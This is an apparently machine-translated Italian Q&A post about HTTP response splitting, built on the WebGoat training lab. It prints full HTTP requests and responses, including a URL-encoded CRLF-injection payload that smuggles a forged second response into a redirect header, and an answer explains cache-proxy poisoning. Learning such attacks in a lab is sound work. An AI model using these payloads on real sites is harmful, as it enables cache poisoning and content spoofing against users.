Suddivisione della risposta HTTP: il caching del browser o il problema di memorizzazione nella cache del server?

3

Sto cercando di comprendere la divisione di risposta HTTP. Sebbene utilizzassi WebGoat ecc. Sono stato in grado di imparare come farlo in pratica, ma credo di essere ancora confuso con alcune fondamentali conoscenze su come funziona davvero. Sperare che qualcuno possa aiutarmi a superare la mia confusione.

Quindi da quanto ho capito su HTTP Response Splitting è

Diciamo che c'è un'applicazione vulnerabile che prende l'input dell'utente e fa un reindirizzamento basato sull'input dell'utente.

Esempio: (preso da WebGoat)

Richiesta 1:

POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

language=abcd&SUBMIT=Search%21

Come risposta a questa richiesta, l'applicazione esegue un reindirizzamento 302 e la risposta seguente viene inviata al browser:

Risposta 1:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:16:37 GMT

Ora, quando il browser riceve questa risposta, sapendo che si tratta di un reindirizzamento 302, il browser inoltra un'altra richiesta al server sul percorso specificato dall'intestazione "Posizione" nella risposta sopra. Quindi la prossima richiesta è come:

Richiesta 2:

GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=null
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive

Ora, quando il server riceve questa richiesta, cerca la risorsa specificata e gestisce la richiesta di conseguenza e serve la rispettiva risposta, resa dal browser.

Ora prendiamo in considerazione lo stesso scenario precedente e questa volta con un payload di risposta HTTP Splitting: Quindi adesso:

Richiesta di attacco 1:

POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 249

language=abcd%250AContent-Length%253A%25200%250A%250AHTTP%252F1.1%2520200%2520OK%250AContent-Type%253A%2520text%252Fhtml%250AContent-Length%253A%252035%250A%250A%253Chtml%253ESorry%252C%252520System%252520Down%253C%252Fhtml%253E&SUBMIT=Search%21

E la risposta ricevuta per questo è:

Risposta di attacco 1:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:24:00 GMT

E ora

Richiesta di attacco 2: sarebbe

GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive

Quindi ora il server riceve effettivamente una richiesta di risorsa in:

/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E

sul server. Questa risorsa in realtà non esiste sul server. Anche questa risorsa ha intestazioni di risposta come parte della risorsa richiesta.

Quindi ora la mia confusione è come gestisce il server? Cosa fa realmente il server con le intestazioni di risposta che arrivano nella richiesta? E in particolare, in che modo questo porta a un attacco di divisione della risposta?

La mia direzione di pensiero è che quando parliamo di Attack Response 1 , allora il browser vede che la richiesta ha 2 risposte. Quindi il browser prende la prima parte della risposta per la prima richiesta fatta e memorizza nella cache la seconda parte della risposta per la successiva richiesta che verrebbe fatta. Nel nostro caso la richiesta successiva è Richiesta di attacco 2 . Quindi, quando viene effettuata questa richiesta, il browser serve semplicemente la risposta già memorizzata nella cache (la seconda parte della risposta precedente) per Richiesta di attacco 2 . Ed è così che ha funzionato HTTP Response Splitting. Quindi qui stiamo fondamentalmente giocando con la cache del browser (contrariamente ad alcuni articoli che ho letto che menzionano che la divisione della risposta HTTP riguarda la cache del server)

Sono corretto nella mia comprensione di quanto sopra? Potrebbe essere mi manca qualcosa di molto semplice. Per favore, sopportami con questo.

    
posta qre0ct 05.11.2015 - 11:06
fonte

1 risposta

1

Non proprio. La risposta di attacco n. 1 è la fine del gioco; non ci sono richieste fatte dopo per l'attacco. Hai ragione nel fatto che contiene due risposte, divise dai personaggi iniettati. Ciò potrebbe non influire sul browser, tuttavia, alcuni proxy di memorizzazione nella cache potrebbero memorizzare questa risposta nella cache. Se ciò accade, la prossima volta che un utente richiede la pagina originale attraverso il proxy di memorizzazione nella cache, viene presentata con la risposta falsa, memorizzata nella cache.

Senza quell'ultima parte, ti attaccheresti solo tu. La chiave è che qualche proxy di caching tra il server e alcuni utenti viene ingannato dalla seconda richiesta e restituisce i dati della cache falsificati invece del sito reale.

Spesso, è possibile che si debba giocare con alcune intestazioni per forzare il proxy a memorizzarlo nella cache. Inoltre, tutto ciò presuppone che ci sia un proxy da qualche parte lungo la linea che memorizzerà nella cache.

    
risposta data 06.11.2015 - 04:43
fonte

Leggi altre domande sui tag